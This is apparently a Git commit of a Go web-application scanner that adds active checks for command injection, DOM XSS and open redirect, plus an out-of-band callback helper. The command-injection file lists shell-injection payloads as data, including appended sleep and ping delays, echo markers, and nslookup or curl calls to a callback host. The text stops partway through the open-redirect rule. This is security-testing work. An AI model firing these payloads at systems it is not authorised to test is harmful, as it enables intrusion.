Expanded active scanning with technology fingerprinting, template signatures, and injection detections

This commit is contained in:
Tony West committed 2026-10-06 22:41:37 -04:00
1 parent 6e3c834df4
commit 66cbe42207
57 files changed
+217097 -296

No files matched your search

+27 -1
View File
@@ -32,9 +32,11 @@ import (
"sort"
"sync"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
)
// Status is a run's state.
@@ -89,6 +91,19 @@ type Config struct {
// the seam a future rule's Plan refusal hangs on.
AllowDestructive bool
// Tags and Severity narrow which signatures the template rule runs; empty
// means no filter. IgnoreFingerprint makes that rule skip fingerprint gating
// and run every eligible signature. Only the template-signature rule reads
// these; other rules ignore them.
Tags []string
Severity []string
IgnoreFingerprint bool
// NoOAST opts the injection rules out of out-of-band testing even when a
// callback listener is configured. OAST is already disabled when no listener
// is configured; this is the operator's explicit opt-out when one is.
NoOAST bool
BudgetMs int
}
@@ -100,6 +115,14 @@ type RuleDeps struct {
Store *proxy.Store
Scope *proxy.Scope
DataDir string
// Tech is the passive fingerprint store. The template-signature rule reads it
// to run only the checks a host's detected stack warrants; nil disables gating
// (every eligible signature runs).
Tech *techfp.Store
// Callback is the out-of-band (OAST) callback store. The injection rules mint a
// token and poll it for blind interactions; nil (or no configured domain)
// disables OAST vectors, so they run only when a listener/domain is configured.
Callback *callback.Store
}
// Reporter is how a rule reports progress and results back to the run. Both
@@ -118,7 +141,10 @@ type Rule interface {
ID() string
Name() string
Category() detect.Category
Run(ctx context.Context, t Target, deps RuleDeps, rep Reporter) error
// Description explains what the rule does, for the Rules UI. It is the active
// counterpart to a passive rule's Description field.
Description() string
Run(ctx context.Context, t Target, cfg Config, deps RuleDeps, rep Reporter) error
}
// Registry holds the rules a host process offers. It is built and owned by the
+91
View File
@@ -0,0 +1,91 @@
package activescan
import (
"sort"
"sync"
)
// CatalogField is one labelled line in an item's read-only detail.
type CatalogField struct {
Label string `json:"label"`
Value string `json:"value"`
}
// CatalogItem is one entry in a rule's catalog — a nuclei signature or an injection
// check. It carries the common columns plus a free-form Detail list, so the handler
// and UI are agnostic to the item kind.
type CatalogItem struct {
ID string `json:"id"`
Name string `json:"name"`
Severity string `json:"severity"`
Confidence string `json:"confidence,omitempty"`
Target string `json:"target,omitempty"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Enabled bool `json:"enabled"`
Detail []CatalogField `json:"detail,omitempty"`
}
// Cataloger is implemented by a Rule that exposes a catalog of individually
// toggleable items (Template signatures, or an injection rule's checks). It is
// optional — a single-check rule like DOM XSS does not implement it. The
// enable/disable half is satisfied by embedding *DisabledSet.
type Cataloger interface {
CatalogItems() []CatalogItem
IsItemEnabled(id string) bool
SetItemEnabled(id string, on bool)
DisabledItems() []string
SetDisabledItems(ids []string)
}
// DisabledSet is a reusable per-item disabled set (an absent id is enabled),
// mirroring the Registry's per-rule model at item granularity. Rules embed it to
// get four of the five Cataloger methods for free; it is per-project session state
// (applyProjectConfig sets it, buildProjectConfig reads it).
type DisabledSet struct {
mu sync.RWMutex
m map[string]bool
}
// NewDisabledSet returns an empty set (everything enabled).
func NewDisabledSet() *DisabledSet { return &DisabledSet{m: map[string]bool{}} }
// IsItemEnabled reports whether an item runs (absent from the disabled set).
func (d *DisabledSet) IsItemEnabled(id string) bool {
d.mu.RLock()
defer d.mu.RUnlock()
return !d.m[id]
}
// SetItemEnabled toggles one item's disabled-state.
func (d *DisabledSet) SetItemEnabled(id string, on bool) {
d.mu.Lock()
defer d.mu.Unlock()
if on {
delete(d.m, id)
} else {
d.m[id] = true
}
}
// DisabledItems returns the disabled ids, sorted — the set the project file persists.
func (d *DisabledSet) DisabledItems() []string {
d.mu.RLock()
defer d.mu.RUnlock()
out := make([]string, 0, len(d.m))
for id := range d.m {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabledItems replaces the set, for a project restore. A nil slice clears it.
func (d *DisabledSet) SetDisabledItems(ids []string) {
d.mu.Lock()
defer d.mu.Unlock()
d.m = make(map[string]bool, len(ids))
for _, id := range ids {
d.m[id] = true
}
}
+134
View File
@@ -0,0 +1,134 @@
// Package cmdi is the active command-injection rule. It exposes checks for
// output-marker, Unix/Windows timing, and out-of-band detection; each appends
// shell-metacharacter payloads to a parameter.
package cmdi
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "cmdi"
findingRule = "activescan.cmdi"
sleepMs = 5000
oastWindow = 12 * time.Second
// marker product 73*79=5767: a shell evaluates the arithmetic, while a merely
// reflective app echoes the literal "$((73*79))" — so the computed form confirms
// execution, not reflection.
markerProduct = "5767"
)
var unixTime = []string{`;sleep 5`, `|sleep 5`, `||sleep 5`, `&&sleep 5`, "`sleep 5`", `$(sleep 5)`}
var winTime = []string{`& timeout /t 5`, `& ping -n 6 127.0.0.1`}
func markerSuffixes(nonce string) []string {
e := nonce + `$((73*79))`
return []string{`;echo ` + e, `|echo ` + e, "`echo " + e + "`", `& echo ` + e}
}
func oastSuffixes(host string) []string {
return []string{`;nslookup ` + host, `|nslookup ` + host, `$(nslookup ` + host + `)`, `& nslookup ` + host, `;curl ` + host}
}
var checks = []injkit.Check{
{
ID: "output", Name: "Output marker", Severity: detect.SeverityCritical,
Description: "Appends an echo of a shell-arithmetic marker; the computed result in the response confirms execution (not mere reflection).",
Payloads: []string{`;echo <marker>$((73*79))`, `|echo …`, "`echo …`", `& echo …`},
Probe: outputMarker,
},
{
ID: "time-unix", Name: "Time-based (Unix)", Severity: detect.SeverityCritical,
Description: "Appends a Unix sleep and confirms a delayed response twice.",
Payloads: unixTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, unixTime) },
},
{
ID: "time-windows", Name: "Time-based (Windows)", Severity: detect.SeverityCritical,
Description: "Appends a Windows timeout/ping delay and confirms a delayed response twice.",
Payloads: winTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, winTime) },
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityCritical,
Description: "Appends nslookup/curl to the callback host and polls the listener for an interaction.",
Payloads: []string{`;nslookup <callback>`, `$(nslookup <callback>)`, `;curl <callback>`},
RequiresOAST: true,
Probe: oastBased,
},
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Command injection" }
func (*Rule) Category() detect.Category { return detect.CategoryCommandInjection }
func (*Rule) Description() string {
return "Appends shell-metacharacter payloads (echo marker, sleep/timeout, and — when a " +
"callback listener is configured — nslookup/curl) to each parameter, confirming via an " +
"evaluated marker, a timing delay, or an out-of-band callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryCommandInjection, "Command injection")
return nil
}
func outputMarker(pc injkit.ProbeCtx) {
nonce := "joro" + randHex(5)
for _, s := range markerSuffixes(nonce) {
if res := pc.Inject(s, true); res != nil && strings.Contains(string(res.Resp.Body), nonce+markerProduct) {
pc.File(detect.SeverityCritical, "output-based command injection in "+pc.Point.Name, "injected "+s+" and the shell-evaluated marker was echoed", res.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx, suffixes []string) {
for _, s := range suffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityCritical, "time-based blind command injection in "+pc.Point.Name, "injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("cmdi")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityCritical, "out-of-band command injection in "+pc.Point.Name, "an injected command triggered a callback to "+host, pc.Base.URL)
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+16 -1
View File
@@ -56,6 +56,15 @@ func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "DOM-based XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryDOMXSS }
func (*Rule) Description() string {
return "Drives a dedicated headless Chromium through Joro's proxy and plants per-source " +
"canaries in the URL fragment, a query value, and window.name, then reports when the " +
"page's own JavaScript carries one into a dangerous sink (innerHTML, document.write, " +
"eval, setTimeout, location, and similar). Injection is over CDP before page load, so " +
"it is unaffected by CSP, and the canary never reaches the server — the flow is " +
"confirmed in the browser."
}
// hit is one sink report from the injected monitor.
type hit struct {
Sink string `json:"sink"`
@@ -90,7 +99,7 @@ func (c *collector) drain() []hit {
// Run launches a dedicated headless browser, injects the monitor, and navigates
// each target URL with canaries, reporting confirmed flows.
func (r *Rule) Run(ctx context.Context, t activescan.Target, deps activescan.RuleDeps, rep activescan.Reporter) error {
func (r *Rule) Run(ctx context.Context, t activescan.Target, _ activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
if deps.CA == nil {
return fmt.Errorf("no CA available for the scan browser")
}
@@ -157,6 +166,12 @@ func (r *Rule) Run(ctx context.Context, t activescan.Target, deps activescan.Rul
if ctx.Err() != nil {
return ctx.Err()
}
// Only GET endpoints are navigable pages; a host target now also carries
// non-GET parametric requests for the injection rules, which this rule skips.
if tu.Method != "" && !strings.EqualFold(tu.Method, "GET") {
rep.Progress(1)
continue
}
scanURL(ctx, client, col, loadCh, t.Host, tu.URL, rep)
rep.Progress(1)
}
+32
View File
@@ -0,0 +1,32 @@
package inject
import "context"
// Drive iterates every parameter of every request, calling probe with the point
// and that request's baseline. It handles enumeration, per-request baselining,
// cancellation, and progress (one tick per request, matching the run's URL-based
// total). Finding-reporting stays in probe (this package does not import
// activescan), which is why probe takes no reporter.
func Drive(ctx context.Context, reqs [][]byte, s *Sender, progress func(delta int), probe func(ctx context.Context, p Point, base *Baseline)) {
for _, raw := range reqs {
if ctx.Err() != nil {
return
}
base, err := s.Baseline(ctx, raw)
if err != nil {
if progress != nil {
progress(1)
}
continue
}
for _, p := range Enumerate(raw) {
if ctx.Err() != nil {
return
}
probe(ctx, p, base)
}
if progress != nil {
progress(1)
}
}
}
+261
View File
@@ -0,0 +1,261 @@
// Package inject is the shared scaffold for the active injection-scanning rules
// (reflected XSS, SQLi, SSTI, command injection, open redirect, path traversal).
// It enumerates a request's injectable parameters, mutates one with a payload,
// sends the result through Joro's proxy, and exposes baseline/differential/timing
// and OAST helpers — so each rule is just a payload set plus a detector.
//
// Enumeration reuses internal/echo (the one parameter walker in the repo);
// mutation is name-aware per source (query/form/json/path) rather than relying on
// byte offsets, which echo computes only best-effort.
package inject
import (
"encoding/json"
"fmt"
"net/url"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// Point is an injectable parameter. It aliases echo.Value so rules speak echo's
// vocabulary (Source, Name, Value) without re-deriving it.
type Point = echo.Value
// Enumerate returns the injectable parameters of a raw request: query, path, form
// and JSON-body values. Headers, cookies and multipart parts are deliberately
// excluded to bound scan volume to the parameters that carry most injection.
func Enumerate(raw []byte) []Point {
if len(raw) == 0 {
return nil
}
// detect.Parse derives the URL/host/content-type from the CapturedRequest's
// fields, not the raw request line, so reconstruct them from the bytes.
host := headerValue(raw, "Host")
cr := &proxy.CapturedRequest{
ReqRaw: raw,
Host: host,
URL: reconstructURL(raw, host),
ContentType: headerValue(raw, "Content-Type"),
}
cfg := echo.DefaultConfig()
cfg.ScanHeaders = false // skip headers/cookies for injection fuzzing
vals := echo.Walk(detect.Parse(cr, echo.ParseConfig(cfg)), cfg)
out := vals[:0:0]
for _, v := range vals {
switch v.Source {
case echo.SourceQuery, echo.SourcePath, echo.SourceForm, echo.SourceJSON:
out = append(out, v)
}
}
return out
}
// Mutate produces a copy of raw with point p's value set to payload (or, when
// appendMode, the original value followed by payload). Content-Length is
// recomputed. An unsupported source returns an error so the caller skips the point.
func Mutate(raw []byte, p Point, payload string, appendMode bool) ([]byte, error) {
value := payload
if appendMode {
value = p.Value + payload
}
var out []byte
var err error
switch p.Source {
case echo.SourceQuery:
out, err = httptools.ApplyEdits(raw, []httptools.Edit{{Op: "setQuery", Name: p.Name, Value: value}})
case echo.SourcePath:
out, err = setPathSegment(raw, p.Name, value)
case echo.SourceForm:
out, err = setFormField(raw, p.Name, value)
case echo.SourceJSON:
out, err = setJSONField(raw, p.Name, value)
default:
return nil, fmt.Errorf("inject: unsupported source %q", p.Source)
}
if err != nil {
return nil, err
}
return httptools.UpdateContentLength(out), nil
}
// splitRequest separates the header block (through the blank line) from the body.
func splitRequest(raw []byte) (head, body []byte) {
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[:i+4], raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[:i+2], raw[i+2:]
}
return raw, nil
}
// setFormField re-encodes a urlencoded body with one field changed.
func setFormField(raw []byte, name, value string) ([]byte, error) {
head, body := splitRequest(raw)
vals, err := url.ParseQuery(string(body))
if err != nil {
return nil, err
}
vals.Set(name, value)
return append(append([]byte(nil), head...), []byte(vals.Encode())...), nil
}
// setPathSegment replaces the i-th path segment (echo names path values "[i]").
func setPathSegment(raw []byte, name, value string) ([]byte, error) {
idx, err := strconv.Atoi(strings.Trim(name, "[]"))
if err != nil {
return nil, fmt.Errorf("inject: bad path index %q", name)
}
line, rest, ok := firstLine(raw)
if !ok {
return nil, fmt.Errorf("inject: no request line")
}
method, target, version, ok := splitRequestLine(line)
if !ok {
return nil, fmt.Errorf("inject: bad request line")
}
path, query := target, ""
if q := strings.IndexByte(target, '?'); q >= 0 {
path, query = target[:q], target[q:]
}
segs := strings.Split(path, "/") // leading "" from the leading slash
seg := idx + 1 // echo indexes segments after the leading slash
if seg <= 0 || seg >= len(segs) {
return nil, fmt.Errorf("inject: path index %d out of range", idx)
}
segs[seg] = url.PathEscape(value)
newLine := method + " " + strings.Join(segs, "/") + query + " " + version
return append([]byte(newLine), rest...), nil
}
// setJSONField sets a leaf addressed by a dotted path with [i] indices.
func setJSONField(raw []byte, path, value string) ([]byte, error) {
head, body := splitRequest(raw)
var doc any
if err := json.Unmarshal(body, &doc); err != nil {
return nil, err
}
if err := setJSONPath(&doc, splitJSONPath(path), value); err != nil {
return nil, err
}
nb, err := json.Marshal(doc)
if err != nil {
return nil, err
}
return append(append([]byte(nil), head...), nb...), nil
}
// splitJSONPath breaks "a.b[0].c" into ["a","b","0","c"].
func splitJSONPath(p string) []string {
var out []string
for _, part := range strings.Split(p, ".") {
for {
b := strings.IndexByte(part, '[')
if b < 0 {
if part != "" {
out = append(out, part)
}
break
}
if b > 0 {
out = append(out, part[:b])
}
e := strings.IndexByte(part, ']')
if e < 0 {
break
}
out = append(out, part[b+1:e])
part = part[e+1:]
}
}
return out
}
// setJSONPath walks segs into the decoded doc and sets the leaf to value (as a
// string, matching how the application most commonly receives injected input).
func setJSONPath(doc *any, segs []string, value string) error {
if len(segs) == 0 {
*doc = value
return nil
}
seg := segs[0]
switch node := (*doc).(type) {
case map[string]any:
child := node[seg]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[seg] = child
return nil
case []any:
i, err := strconv.Atoi(seg)
if err != nil || i < 0 || i >= len(node) {
return fmt.Errorf("inject: bad json index %q", seg)
}
child := node[i]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[i] = child
return nil
default:
return fmt.Errorf("inject: json path does not resolve at %q", seg)
}
}
// reconstructURL builds an absolute URL from the request line's target and the Host
// header, so detect.Parse can extract the path and query. The scheme is irrelevant
// to parameter enumeration.
func reconstructURL(raw []byte, host string) string {
line, _, ok := firstLine(raw)
if !ok {
return ""
}
_, target, _, ok := splitRequestLine(line)
if !ok {
return ""
}
if host == "" {
host = "placeholder"
}
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
return target
}
return "http://" + host + target
}
// headerValue returns the first value of header name (case-insensitive) from the
// request's header block.
func headerValue(raw []byte, name string) string {
head, _ := splitRequest(raw)
lower := strings.ToLower(name) + ":"
for _, ln := range strings.Split(string(head), "\n") {
ln = strings.TrimRight(ln, "\r")
if strings.HasPrefix(strings.ToLower(ln), lower) {
return strings.TrimSpace(ln[len(lower):])
}
}
return ""
}
func firstLine(raw []byte) (line string, rest []byte, ok bool) {
i := strings.IndexByte(string(raw), '\n')
if i < 0 {
return "", nil, false
}
line = strings.TrimRight(string(raw[:i]), "\r")
return line, raw[i:], true
}
func splitRequestLine(line string) (method, target, version string, ok bool) {
parts := strings.Fields(line)
if len(parts) != 3 {
return "", "", "", false
}
return parts[0], parts[1], parts[2], true
}
+66
View File
@@ -0,0 +1,66 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/callback"
)
// OASTAvailable reports whether out-of-band testing can run: a callback store with
// a configured domain. When false, rules skip their OAST vectors rather than emit a
// payload to an unresolvable domain — OAST is disabled unless a listener/team
// server provides a callback domain.
func OASTAvailable(store *callback.Store) bool {
if store == nil {
return false
}
cfg, err := store.GetConfig()
return err == nil && cfg != nil && cfg.Domain != ""
}
// OAST mints callback tokens and polls for interactions, for blind detection.
type OAST struct {
store *callback.Store
domain string
}
// NewOAST returns an OAST helper, or nil when OAST is unavailable (caller skips).
func NewOAST(store *callback.Store) *OAST {
if !OASTAvailable(store) {
return nil
}
cfg, _ := store.GetConfig()
return &OAST{store: store, domain: cfg.Domain}
}
// Token mints a correlation token and returns it with the callback hostname to
// weave into a payload (`<token>.<domain>`).
func (o *OAST) Token(note string) (tokenID, host string, err error) {
tok, err := callback.GenerateToken(o.store, note)
if err != nil {
return "", "", err
}
return tok.ID, tok.Token + "." + o.domain, nil
}
// Fired polls the callback store until an interaction for tokenID appears or the
// window elapses, respecting ctx. It returns true on the first hit.
func (o *OAST) Fired(ctx context.Context, tokenID string, window time.Duration) bool {
deadline := time.Now().Add(window)
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
for {
if items, _, err := o.store.ListInteractions(tokenID, 0, 1); err == nil && len(items) > 0 {
return true
}
if time.Now().After(deadline) {
return false
}
select {
case <-ctx.Done():
return false
case <-ticker.C:
}
}
}
+97
View File
@@ -0,0 +1,97 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/httptools"
)
// maxRespBytes is the response body an injection detector needs — enough to match
// an error string, a rendered expression, or file contents.
const maxRespBytes = 1 << 20
// Sender sends mutated requests through Joro's proxy and fingerprints the result.
// It takes httptools.SendDeps directly (not activescan.RuleDeps) so this package
// does not import activescan — the rules build SendDeps from their RuleDeps.
type Sender struct {
deps httptools.SendDeps
scheme string
host string
timeout time.Duration
}
// NewSender wires a sender for one target host.
func NewSender(deps httptools.SendDeps, scheme, host string, timeout time.Duration) *Sender {
if deps.MaxRespBytes == 0 {
deps.MaxRespBytes = maxRespBytes
}
return &Sender{deps: deps, scheme: scheme, host: host, timeout: timeout}
}
// Result is one send's outcome: the raw and parsed response, status, wall-clock
// duration, and a structural fingerprint for differential comparison.
type Result struct {
RawReq []byte
RespRaw []byte
Resp httptools.Response
Status int
DurationMs int64
Fingerprint httptools.Fingerprint
URL string
Method string
}
// Send sends one raw request and returns the fingerprinted result.
func (s *Sender) Send(ctx context.Context, raw []byte) (*Result, error) {
reqCtx, cancel := context.WithTimeout(ctx, s.timeout)
defer cancel()
sent, err := httptools.SendViaProxy(reqCtx, raw, s.scheme, s.host, s.deps)
if err != nil {
return nil, err
}
return &Result{
RawReq: raw,
RespRaw: sent.RespRaw,
Resp: httptools.ReadResponse(sent.RespRaw),
Status: sent.StatusCode,
DurationMs: sent.Duration.Milliseconds(),
Fingerprint: httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false),
URL: sent.URL,
Method: sent.Method,
}, nil
}
// Baseline is the unmodified request's response plus a timing floor used to judge
// time-based injections.
type Baseline struct {
Result
// FloorMs is the smaller of two baseline round-trips — a jitter-resistant
// estimate of the endpoint's normal latency.
FloorMs int64
}
// Baseline sends the original request twice and records the structural fingerprint
// plus the latency floor.
func (s *Sender) Baseline(ctx context.Context, raw []byte) (*Baseline, error) {
r1, err := s.Send(ctx, raw)
if err != nil {
return nil, err
}
floor := r1.DurationMs
if r2, err := s.Send(ctx, raw); err == nil && r2.DurationMs < floor {
floor = r2.DurationMs
}
return &Baseline{Result: *r1, FloorMs: floor}, nil
}
// SameStructure reports whether two responses are the same page ignoring volatile
// content (nonces, timestamps) — the boolean oracle for boolean-based SQLi.
func SameStructure(a, b httptools.Fingerprint) bool { return a.StructHash == b.StructHash }
// LooksDelayed reports whether elapsed indicates an injected delay of at least
// delayMs relative to the baseline floor. The 0.8 factor tolerates the payload
// running slightly short while rejecting ordinary jitter.
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return elapsedMs-floorMs >= delayMs*8/10
}
+127
View File
@@ -0,0 +1,127 @@
package injkit
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// SameStructure and LooksDelayed re-export the inject differential/timing helpers so
// a rule imports only injkit.
func SameStructure(a, b httptools.Fingerprint) bool { return inject.SameStructure(a, b) }
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return inject.LooksDelayed(elapsedMs, floorMs, delayMs)
}
// Check is one named, toggleable detection within an injection rule — the catalog
// row the operator sees. Metadata is static (so checks are package-level vars); the
// probe takes its run context as a parameter rather than closing over it.
type Check struct {
ID string
Name string
Severity detect.Severity
Description string
// Payloads are shown in the catalog detail; the probe is free to derive more.
Payloads []string
// RequiresOAST marks a check that only runs with a callback listener configured.
RequiresOAST bool
Probe func(pc ProbeCtx)
}
// ProbeCtx bundles everything a check's probe needs for one insertion point.
type ProbeCtx struct {
Ctx context.Context
Send *inject.Sender
OAST *inject.OAST // nil when OAST is unavailable or opted out
Host string
Point inject.Point
Base *inject.Baseline
// File mints a finding for this point; Host/Method/URL are filled in for you.
File func(sev detect.Severity, detail, evidence, url string)
}
// Inject mutates the point's value with payload (append or replace) and sends the
// result, returning nil on any mutation/send error so a probe can keep going.
func (pc ProbeCtx) Inject(payload string, appendMode bool) *inject.Result {
mut, err := inject.Mutate(pc.Base.RawReq, pc.Point, payload, appendMode)
if err != nil {
return nil
}
res, err := pc.Send.Send(pc.Ctx, mut)
if err != nil {
return nil
}
return res
}
// Catalog builds the catalog items for a rule's checks, reflecting the disabled set.
func Catalog(checks []Check, disabled *activescan.DisabledSet, oastAvailable bool) []activescan.CatalogItem {
out := make([]activescan.CatalogItem, 0, len(checks))
for _, c := range checks {
detail := []activescan.CatalogField{{Label: "Detection", Value: c.Name}}
if len(c.Payloads) > 0 {
detail = append(detail, activescan.CatalogField{Label: "Payloads", Value: strings.Join(c.Payloads, "\n")})
}
if c.RequiresOAST {
avail := "requires a configured callback listener"
if oastAvailable {
avail = "callback listener configured"
}
detail = append(detail, activescan.CatalogField{Label: "Out-of-band", Value: avail})
}
out = append(out, activescan.CatalogItem{
ID: c.ID,
Name: c.Name,
Severity: string(c.Severity),
Confidence: string(detect.ConfidenceHigh),
Target: string(detect.TargetMessage),
Description: c.Description,
Enabled: disabled.IsItemEnabled(c.ID),
Detail: detail,
})
}
return out
}
// RunChecks drives the standard injection loop for a rule: it builds the sender and
// (unless opted out) the OAST helper, then for every parameter of every request runs
// each enabled check's probe. Finding-reporting goes through the probe's File helper.
func RunChecks(
ctx context.Context,
t activescan.Target,
cfg activescan.Config,
deps activescan.RuleDeps,
rep activescan.Reporter,
checks []Check,
disabled *activescan.DisabledSet,
findingRule string,
category detect.Category,
name string,
) {
send := Sender(deps, t)
oast := OAST(deps)
if cfg.NoOAST {
oast = nil
}
enabled := make([]Check, 0, len(checks))
for _, c := range checks {
if disabled.IsItemEnabled(c.ID) {
enabled = append(enabled, c)
}
}
inject.Drive(ctx, Requests(t), send, rep.Progress, func(ctx context.Context, p inject.Point, base *inject.Baseline) {
for _, c := range enabled {
if ctx.Err() != nil {
return
}
file := func(sev detect.Severity, detail, evidence, url string) {
rep.Finding(Finding(findingRule, category, sev, name, t.Host, base.Method, url, p.Key(), detail, evidence))
}
c.Probe(ProbeCtx{Ctx: ctx, Send: send, OAST: oast, Host: t.Host, Point: p, Base: base, File: file})
}
})
}
+97
View File
@@ -0,0 +1,97 @@
// Package injkit adapts the activescan framework to the inject library: it builds a
// sender/OAST/request-list from a rule's Target and RuleDeps and mints findings, so
// each injection rule stays a payload set plus a detector. It imports both
// activescan and inject (activescan imports neither, so there is no cycle).
package injkit
import (
"net/url"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// PerReqTimeout bounds one probe send. It sits above the time-based payloads'
// sleep interval so a genuine delay is observed rather than cut off.
const PerReqTimeout = 20 * time.Second
// Sender builds an inject.Sender for the target from a rule's deps.
func Sender(d activescan.RuleDeps, t activescan.Target) *inject.Sender {
return inject.NewSender(
httptools.SendDeps{ProxyAddr: d.ProxyAddr, CA: d.CA, Store: d.Store},
t.Scheme, t.Host, PerReqTimeout,
)
}
// OAST returns an OAST helper, or nil when no callback domain is configured (the
// caller then skips its OAST vectors).
func OAST(d activescan.RuleDeps) *inject.OAST { return inject.NewOAST(d.Callback) }
// Requests returns the raw request bytes to fuzz: each target URL's captured bytes,
// synthesizing a bare GET when a URL carries none.
func Requests(t activescan.Target) [][]byte {
var out [][]byte
for _, u := range t.URLs {
if len(u.RawReq) > 0 {
out = append(out, u.RawReq)
continue
}
if raw := synthGET(u.URL, t.Host); raw != nil {
out = append(out, raw)
}
}
return out
}
func synthGET(rawURL, host string) []byte {
u, err := url.Parse(rawURL)
if err != nil || u.Path == "" {
return nil
}
target := u.Path
if u.RawQuery != "" {
target += "?" + u.RawQuery
}
h := host
if u.Host != "" {
h = u.Host
}
return []byte("GET " + target + " HTTP/1.1\r\nHost: " + h + "\r\nConnection: close\r\n\r\n")
}
// Finding builds a detect.Finding in detect's identity space, deduped per
// (rule, host, parameter+path) so one vulnerable parameter is one finding.
func Finding(ruleID string, cat detect.Category, sev detect.Severity, name, host, method, probeURL, param, detail, evidence string) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, host, param+"|"+pathOf(probeURL)),
RuleID: ruleID,
RuleName: name,
Category: cat,
Severity: sev,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: method,
URL: probeURL,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func pathOf(u string) string {
if parsed, err := url.Parse(u); err == nil && parsed.Path != "" {
return parsed.Path
}
if i := strings.IndexByte(u, '?'); i >= 0 {
return u[:i]
}
return u
}
@@ -0,0 +1,99 @@
// Package openredirect is the active open-redirect rule. Each check replaces the
// parameter with an external canary URL and confirms a redirect to that host via the
// Location header or an in-body meta/JS redirect.
package openredirect
import (
"context"
"crypto/rand"
"encoding/hex"
"regexp"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "openredirect"
findingRule = "activescan.openredirect"
)
func payloads(canary string) []string {
return []string{"https://" + canary + "/", "//" + canary + "/"}
}
var checks = []injkit.Check{
{
ID: "location", Name: "Location header", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when a 3xx Location header points to it.",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: locationHeader,
},
{
ID: "body", Name: "Body meta/JS redirect", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when the body redirects to it (meta refresh or window.location).",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: bodyRedirect,
},
}
var bodyRedirectRe = regexp.MustCompile(`(?i)(?:http-equiv=["']?refresh|location\.(?:href|replace|assign)|window\.location)`)
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Open redirect" }
func (*Rule) Category() detect.Category { return detect.CategoryOpenRedirect }
func (*Rule) Description() string {
return "Replaces each parameter with an external canary URL and reports when the response " +
"redirects to that host — via the Location header on a 3xx or an in-body meta/JavaScript " +
"redirect — indicating an unvalidated redirect."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryOpenRedirect, "Open redirect")
return nil
}
func locationHeader(pc injkit.ProbeCtx) {
